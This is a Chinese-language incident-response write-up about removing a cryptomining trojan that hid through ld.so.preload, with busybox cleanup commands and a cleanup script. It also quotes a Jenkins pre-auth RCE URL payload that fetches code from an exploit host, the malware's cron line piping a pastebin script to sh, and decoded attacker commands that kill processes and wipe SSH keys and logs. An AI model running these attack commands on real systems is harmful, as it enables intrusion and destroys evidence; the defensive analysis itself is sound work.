春節剛過,黑產團隊就開始了新的一年的工作。21日晚上九點多,正準備回家享受快樂時光呢,釘釘就響了,客戶應急來了,8台機器感染挖礦木馬病毒。挖礦病毒這兩年也處理了不少了,但是這次的應急受益匪淺,值得記錄一下。
此次事件從網上收集了下,途徑不止有被通報的Redis,
然後被感染後受害者會嘗試進行對外或內網SSH爆破、Redis探測併入侵
為什麼要獲取busybox?這就是此次事件的特別之處,如果你使用top、ps等系統命令是看不到挖礦進程的,因為挖礦病毒修改了系統的動態鏈接庫配置文件/etc/ld.so.preload內容並引用了/usr/local/lib/libioset.so,所以有些運維人員開始top、ps等未查找到異常進程是由於該病毒涉及到 Linux動態鏈接庫預載入機制,是一種常用的進程隱藏方法,而系統的ls,ps等命令已被通過so庫的preload機制被病毒劫持, ls會導致/etc/cron.d/root文件被刷寫為病毒定時執行命令。
而busybox是靜態編譯的,不依賴於系統的動態鏈接庫,從而不受ld.so.preload的劫持,能夠正常操作文件。
cd /bin/ wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox chmod 755 busybox
PS: 這裡跟客戶學到個命令,這條命令也是可以顯示惡意進程的,有興趣的可以查查。
perf top -s pid,comm,dso,symbol
病毒文件
/tmp/ksoftirqds /tmp/watchdogs
關閉crontab
service crond stop systemctl stop crond
修改hosts
修改/etc/hosts來屏蔽病毒腳本下載,域名為解密sh文件之後出現的兩個域名。
busybox echo -e " 0.0.0.0 pastebin.com 0.0.0.0 thyrsi.com" >> /etc/hosts
刪除,創建,並鎖定 crontab相關文件
使用chattr加i屬性來防止文件被修改,查看具有哪些屬性使用lsattr
busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root
備份重要的crontab,然後刪除cron.d目錄的其他文件
busybox rm -f /etc/cron.d/*
檢查並刪除下面目錄是否有異常文件
busybox ls -al /etc/cron.daily busybox ls -al /etc/cron.hourly busybox ls -al /etc/cron.monthly busybox ls -al /etc/cron.weekly
刪除病毒相關執行文件和啟動腳本
busybox find / -type f -name *watchdogs* | busybox xargs rm -f
刪除病毒進程
busybox pkill watchdogs busybox pkill ksoftirqds 也可以使用: busybox ps -ef | busybox grep -v grep | busybox egrep ksoftirqds | busybox awk {print $1} | busybox xargs kill -9 busybox ps -ef | busybox grep -v grep | busybox egrep watchdogs | busybox awk {print $1} | busybox xargs kill -9
刪除被preload的so庫
busybox rm -f /usr/local/lib/libioset.so busybox rm -f /etc/ld.so.preload busybox rm -f /etc/ld.so.cache
驗證libioset.so被卸載
lsof |grep usr/local/lib/libioset.so echo $LD_PRELOAD
若結果為空, 則該動態鏈接庫被卸載;
若有輸出,kill掉佔用的進程,重複執行該步驟;
若反覆執行後無法成功卸載該動態鏈接庫,請執行服務重啟操作。
默安科技也發了一個一鍵清理腳本,在此基礎上,自己改了改。
# wget http://www.w2n1ck.com/clear.sh #!/bin/sh #LANG=zh_CN.UTF-8 # 關閉crontab service crond stop systemctl stop crond # 寫hosts, 屏蔽病毒腳本下載 busybox echo -e " 0.0.0.0 pastebin.com 0.0.0.0 thyrsi.com" >> /etc/hosts # 刪除,創建,並鎖定 crontab相關文件 busybox rm /var/spool/cron/root && busybox touch /var/spool/cron/root && busybox chattr +i /var/spool/cron/root busybox rm /var/spool/cron/crontabs/root && busybox touch /var/spool/cron/crontabs/root && busybox chattr +i /var/spool/cron/crontabs/root busybox rm /etc/cron.d/root && busybox touch /etc/cron.d/root && busybox chattr +i /etc/cron.d/root # 刪除cron.d目錄的其他文件 busybox rm /etc/cron.d/* # 刪除病毒相關執行文件和啟動腳 busybox find / -type f -name *watchdogs*|busybox xargs rm -f # 刪除病毒進程 busybox pkill watchdogs busybox pkill ksoftirqds # 刪除被preload的so庫 chattr -i /etc/ld.so.preload chattr -i /usr/local/lib/libioset.so busybox rm -f /usr/local/lib/libioset.so busybox rm -f /etc/ld.so.preload busybox rm -f /etc/ld.so.cache # 驗證libioset.so被卸載 # lsof |grep /usr/local/lib/libioset.so # 無輸出, 則該動態鏈接庫被卸載, 直接執行驗證步驟; 有輸出, kill掉佔用的進程, ,重複執行該步驟; # 再次清理異常進程 busybox ps -ef | busybox grep -v grep | busybox egrep ksoftirqds | busybox awk {print $1} | busybox xargs kill -9 busybox ps -ef | busybox grep -v grep | busybox egrep watchdogs | busybox awk {print $1} | busybox xargs kill -9 # 清理異常文件 busybox rm -f /tmp/watchdogs busybox rm -f /etc/cron.d/tomcat busybox rm -f /etc/cron.d/root busybox rm -f /var/spool/cron/root busybox rm -f /var/spool/cron/crontabs/root busybox rm -f /etc/rc.d/init.d/watchdogs busybox rm -f /usr/sbin/watchdogs # 搜索可共享的動態鏈接庫 ldconfig # 清理開機啟動項 chkconfig watchdogs off chkconfig --del watchdogs service crond start echo "Done, Please reboot!"
此次事件客戶有9台伺服器被感染,其中主要的一台是我們拿到信息之後發現只開放了,Nginx-80和Jenkins-8080,然後就被誤導了。。。
首先使用了CVE-2019-1003000-jenkins-rce-poc,但是這個漏洞是需要具有Overall/Read」許可權的用戶才能完成。然後想起來前兩天Orange發了個PreAuth的
Part 1: https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html Part 2: http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
POC:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC URL Payload: http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name=payload, root=http://<EXPLOIT HOST>)%0a @Grab(group=package, module=payload, version=1)%0a import Payload;
但是我利用這個POC是可以打成功在shodan上的,但是沒辦法客戶的無法成功,一度相當困惑。
後來看到異常文件:
然後想起來前兩天RR大佬也爆了個Nexus的RCE,Nexus Repository Manager 3 RCE 分析 -【CVE-2019-7238】,然後試了下,成功了
剩下的幾台就是Redis未授權訪問導致的了,具體可以參考:未授權訪問漏洞總結
這次應急讓我意外的是惡意的下載的sh腳本
*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh
訪問之後base64解密看到之後相當驚喜:
ps auxf | grep -v grep | grep hwlh3wlh44lh | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk {print $2} | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk {print $2} | xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk {print $2} | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk {print $2}|xargs kill -9 ps auxf|grep -v grep|grep "kworkerds" | awk {print $2}|xargs kill -9
這是啥?這本來是攻擊者為了讓伺服器資源都用在自己的挖礦進程上,關閉其他可能存在的挖礦及DDoS木馬。
這TM真是良心啊!都不用整理了!以後遇到挖礦的事件拿出來一把梭!!!
chattr -i /etc/cron.d/root chattr -i /etc/cron.d/system chattr -i /etc/ld.so.preload chattr -i /etc/cron.d/apache chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns chattr -i /usr/sbin/netdns chattr -i /bin/netstat rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns chkconfig --del kworker chkconfig --del netdns p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk {if($3>=80.0) print $2}| xargs kill -9 fi
使用chattr解鎖相關文件,並刪除;清除CPU佔用率超過百分之80的進程
if [ -e "/tmp/gates.lod" ]; then rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe) kill -9 $(cat /tmp/gates.lod) rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe) kill -9 $(cat /tmp/moni.lod) rm -rf /tmp/{gates,moni}.lod fi
清除billgates挖礦木馬相關文件、進程。
echo 0>/root/.ssh/authorized_keys #清除ssh密鑰內容 echo 0>/var/spool/mail/root #清除郵件內容 echo 0>/var/log/wtmp #清除登錄日誌 echo 0>/var/log/secure #清除安全日誌 echo 0>/var/log/cron #清除計劃任務日誌
總體來說此次挖礦的幕後操作者相當的良心,誠意滿滿!學到了!
https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650236941&idx=2&sn=cd15e59cde2ed50ee8093def270acfe5&chksm=f3e2d279c4955b6f935bf8129c2277d965f75bd1c5cdeece4e6dd81fc5d2a36292d52b86429c&mpshare=1&scene=23&srcid=%23rd
https://mp.weixin.qq.com/s/7HyO9gVdgDYL4x7DKCVgZA
http://man.linuxde.net/ldconfig
https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
http://vulsee.com/archives/vulsee_2019/0220_7345.html
https://www.secpulse.com/archives/98372.html
https://xz.aliyun.com/t/4136
作者:瓦都剋@安識科技
歡迎來安全脈搏查看更多的乾貨文章和我們一起交流互動哦!
脈搏地址:安全脈搏 | 分享技術,悅享品質
微博地址:Sina Visitor System
推薦閱讀:
TAG:Linux | 挖礦 |